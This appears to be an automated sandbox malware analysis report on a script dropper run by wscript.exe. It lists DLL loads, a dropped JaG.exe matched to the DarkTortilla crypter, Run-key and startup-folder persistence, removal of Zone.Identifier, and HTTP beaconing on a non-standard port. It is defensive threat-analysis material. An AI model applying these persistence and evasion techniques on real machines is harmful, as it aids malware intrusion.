Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JaG.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\rHMh.js");

Yara detected DarkTortilla Crypter

Source: Yara match	File source: 5.2.JaG.exe.4c30000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JaG.exe.38d1a10.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JaG.exe.4c30000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JaG.exe.38d1a10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2290405716.00000000038D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2287943742.00000000027D2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2291109531.0000000004C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2287943742.00000000027F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2287943742.00000000026A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JaG.exe PID: 8168, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024F0152 push ebx; iretd	5_2_024F0153
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_024FD728 push eax; ret	5_2_024FD731
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F52DB0 push es; ret	5_2_07F52DA0
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F52D91 push es; ret	5_2_07F52DA0
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F5CBFF pushad ; ret	5_2_07F5CC03
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Code function: 5_2_07F52030 push esp; retf	5_2_07F52031

Source: JaG.exe.4.dr

Static PE information: section name: .text entropy: 6.903609935714846

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\JaG.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run adobe			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run audiodg.exe

Drops script or batch files to the startup folder

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run adobe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run adobe	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run audiodg.exe
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run audiodg.exe

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\AppData\Local\Temp\JaG.exe

File opened: C:\Users\user\AppData\Local\Temp\JaG.exe\:Zone.Identifier read attributes | delete

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 6892
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 6892

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
